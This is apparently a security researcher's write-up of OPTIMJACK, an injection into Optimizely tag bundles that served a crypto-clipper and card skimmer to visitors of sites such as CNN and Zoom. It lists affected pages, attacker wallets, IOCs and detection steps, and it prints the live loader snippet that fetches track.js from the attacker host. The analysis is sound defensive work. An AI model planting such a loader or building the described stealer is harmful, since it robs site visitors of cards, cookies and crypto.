---
title: "CNN, Zoom, Fox News Served Visitors a Crypto-Stealing Skimmer – OPTIMJACK (Nov 2026)"
slug: cnn-zoom-fox-news-served-visitors-a-crypto-stealing-skimmer-optimjack-nov-2026
url: https://listedarticles.com/articles/cnn-zoom-fox-news-served-visitors-a-crypto-stealing-skimmer-optimjack-nov-2026
canonical_url: https://amirulcyber.com/2026/11/16/optimjack-optimizely-skimmer/
content_type: research
language: en
published_at: 2026-11-16T15:00:00.000Z
updated_at: 2026-11-16T22:52:24.096Z
author: "Amirul Cyber"
authored_by: human
publisher: "Amirul Cyber"
publisher_url: https://amirulcyber.com/
topics: ["security", "web-development"]
about: ["https://listedstartups.com/companies/optimizely"]
license: all-rights-reserved
word_count: 922
reading_minutes: 4
citation: "Amirul Cyber, Amirul Cyber. \"CNN, Zoom, Fox News Served Visitors a Crypto-Stealing Skimmer – OPTIMJACK (Nov 2026).\" 16 Nov 2026. https://amirulcyber.com/2026/11/16/optimjack-optimizely-skimmer/ (all-rights-reserved)"
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# to the source above; quote the citation and link the canonical URL.
---

# CNN, Zoom, Fox News Served Visitors a Crypto-Stealing Skimmer – OPTIMJACK (Nov 2026)

> Amirul Cyber's write-up of OPTIMJACK: attacker JavaScript injected into Optimizely bundles served a crypto-clipper and card skimmer to visitors of CNN, Zoom, Fox News and other major sites, with the infection chain, payload analysis and IOCs.

# CNN, Zoom, Fox News Served Visitors a Crypto-Stealing Skimmer – OPTIMJACK (Nov 2026)

## Summary

One poisoned tag layer, **15 household-name websites**, millions of exposed visitors. Attacker JavaScript injected into Optimizely bundles is serving a crypto-clipper + card-skimmer to visitors of **CNN, Zoom, Fox News, BBC, Salesforce, GitLab, American Eagle, Hootsuite** and seven more — plus side vectors through a first-party bundle, a Jscrambler-protected script, and one malvertising impression. If your site loads Optimizely, assume your visitors are in the blast radius until you check the bundle.

## Terms

| Term | Means in this post |
| --- | --- |
| loader | the injected snippet inside the Optimizely bundle that appends `track.js` |
| `track.js` | the attacker stealer (clipper + card skimmer + screenshot exfil) |
| C2 | `1688360[.]cc` and the two `.icu` hosts serving payload and collecting data |
| clipper | malware that swaps a victim’s crypto address for the attacker’s at point of use |

## Risk to a marketing and IT team

If your site loads Optimizely, your visitors are the targets: pasted wallet addresses get swapped before submission, card forms get skimmed, and page URLs plus cookies plus a screenshot leave with every hit. Your origin can be clean while your visitors are robbed — the compromise sits in the tag layer. Three-step check: (1) fetch your served Optimizely bundle and search it for `1688360`; (2) alert on Content-Security-Policy `script-src` violations naming unknown hosts; (3) verify with a test wallet address on a staging page that what you paste is what gets submitted.

## The loader

Inside affected Optimizely bundles, directly after the normal experiment code:

```
<script src="https://cdn.optimizely.com/js/5113954737848320.js"
  class="optanon-category-C0002"></script>
```

and inside that bundle:

```
(function(){try{var s=document.createElement('script');
s.src='https://1688360.cc/track.js';s.async=true;
(document.head||document.documentElement).appendChild(s);}catch(e)})();
```

That project ID is GitLab’s; ten more project/snippet IDs across unrelated organisations carry the same line. Two affected sites instead blocked it with CSP (`script-src` violation, request Failed) — compromised snippet, unexecuted payload.

![urlscan transaction list for edition.cnn.com showing landingprod.js served from cdn.optimizely.com, the poisoned Optimizely bundle](https://amirulcyber.com/assets/img/figure1-optimjack.jpg)

Figure 1. CNN's poisoned bundle in the scan's transaction list: landingprod.js served from cdn.optimizely.com.

## The payload

One self-contained script, four modules:

**1. Clipper.** Regex plus real checksum validation (double-SHA256, base58check, bech32, cashaddr, TON CRC16) for ETH, TON (friendly + raw), BTC, BCH, LTC, TRX, DOGE and SOL. Rewrites DOM text (50 ms sweep, payment-keyword gated), `input`/`textarea` values (including framework models), link/image `src`/`href`, `copy` events, `clipboard.writeText/readText`, `navigator.share`, and `fetch`/`XHR` URLs and bodies. Every swapped original is queued for exfil.

**2. Screenshot + cookie exfil.** Posts page URL (≤500 chars), cookies (≤8,000), a JPEG screenshot via `html2canvas` pulled from the same C2, and the matched original addresses to `/hit.php`.

**3. Card skimmer.** Luhn plus brand check, `MM/YY` + 3–4-digit CVV validation, hooks `fetch`/`XHR` POST bodies (JSON, `FormData`, nested objects) and form submits, dedupes per session, exfiltrates via `sendBeacon` to `/card.php`.

**4. iOS second stage.** On iPhone/iPad/iPod only: injects `boot.js` from two `.icu` hosts and, on iOS ≤ 18.6, a hidden iframe. The recovered `boot.js` is obfuscated and under analysis.

Attacker replacement addresses (verbatim from the file header):

```
ETH  0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
TRX  THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
BTC  19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
TON  UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
SOL  FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
LTC  ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
BCH  qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5
TONr 0:2033556a49942224b486e70fa8beeaeae4265dc4b10adffec2326c002d30397b
```

## Affected Website

15 captured page loads, sorted by traffic. First column is the page domain as observed; second column is the exact page URL that loaded the payload:

| Domain | Exact page URL that loads the payload | Hijacker JS URL |
| --- | --- | --- |
| edition.cnn.com | `https://edition.cnn.com/` | `https://cdn.optimizely.com/public/125375509/s/landingprod.js` |
| zoom.com | `https://www.zoom.com/` | `https://cdn.optimizely.com/js/6395285578973184.js` |
| foxnews.com | `https://www.foxnews.com/` | `https://cdn.confiant-integrations.net/gptprebidnative/202611121858/wrap.js` |
| bbc.com | `https://www.bbc.com/news/articles/c6wy9lynq4qno` | `https://cdn.optimizely.com/public/4621041136/s/bbcx_prod.js` |
| salesforce.com | `https://www.salesforce.com/` | `https://cdn.optimizely.com/js/22444972181.js` |
| about.gitlab.com | `https://about.gitlab.com/whats-new/19-0/` | `https://cdn.optimizely.com/js/5113954737848320.js` |
| ae.com | `https://www.ae.com/us/en` | `https://www.ae.com/resources/aa2a454dda92a6d073ca760a2537f00c14d00114d3583` |
| hootsuite.com | `https://www.hootsuite.com/error/lost-owly` | `https://cdn.optimizely.com/js/4894383279964160.js` |
| smartsheet.com | `https://www.smartsheet.com/` | `https://cdn.optimizely.com/js/752092193.js` |
| wwws.airfrance.it | `https://wwws.airfrance.it/` | `https://jef1nimjiav4.eu.wpi.jscrambler.com/i0sqmdlgtfda/1588655105.js` |
| virginmediao2.co.uk | `https://www.virginmediao2.co.uk/help/identity` | `https://cdn.optimizely.com/js/22914960707.js` |
| stamps.com | `https://www.stamps.com/` | `https://cdn.optimizely.com/js/23755770403.js` |
| tricentis.com | `https://www.tricentis.com/` | `https://cdn.optimizely.com/js/26508490611.js` |
| mutualofomaha.com | `https://www.mutualofomaha.com/promo/medicare-supplement-insurance/456245-1` | `https://cdn.optimizely.com/js/25010540072.js` |
| insurance.hsbc.com.sg | `https://www.insurance.hsbc.com.sg/` | `https://cdn.optimizely.com/js/20371380974.js` |

Per-row caller evidence lives in the third column: Optimizely bundles on every row except foxnews.com (ad wrapper), ae.com (first-party bundle) and wwws.airfrance.it (Jscrambler-protected script).

![urlscan transaction list for zoom.com showing the primary request, redirect chain, the Optimizely bundle, and the OneTrust consent stub](https://amirulcyber.com/assets/img/figure2-optimjack.jpg)

Figure 2. Zoom's transaction list: primary request, redirect chain, the Optimizely bundle — with the OneTrust stub alongside, gating but not sanitising it.

## IOCs

**Block now (high confidence, safe to block):**

```
1688360.cc/track.js
1688360.cc/hit.php
1688360.cc/card.php
1688360.cc/html2canvas.min.js
5vobauua3ojpklx.icu/boot.js
eil786npto9u5bq.icu/boot.js
eil786npto9u5bq.icu/JIUJIU888/weifile.html
f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40  (track.js)
2f69879f1c5bdfe9c075ef67ddb6405afe992aff89dcf42863567f83237d3ba6  (eil786 boot.js)
```

## Detection

- Search served tag-manager bundles for unknown `.cc`/`.icu` hosts — catches this loader; misses loader variants on fresh domains.
- CSP `script-src` violation monitoring — two sites survived this way; misses pages without CSP or with permissive policies.
- Client-side: alert on `html2canvas` fetched from a non-site host, `sendBeacon` to unknown hosts on checkout pages — catches the exfil leg; misses passive skimmers that only read.
- Canary wallet address in staging: paste, submit, compare — catches clipper; misses keyword-gated payloads that ignore test pages.

## Further reading

- [Optimizely experiment JS runs with page privilege — vendor docs on custom code execution](https://docs.developers.optimizely.com/) — why a tag-layer injection owns every visitor session.
- [OneTrust auto-blocking and the `optanon-category` pattern](https://www.onetrust.com/) — why consent gating does not sanitise a poisoned tag.
- [CSP `script-src` as last line of defence for third-party compromise](https://content-security-policy.com/) — the control that saved two of the sites in this report.
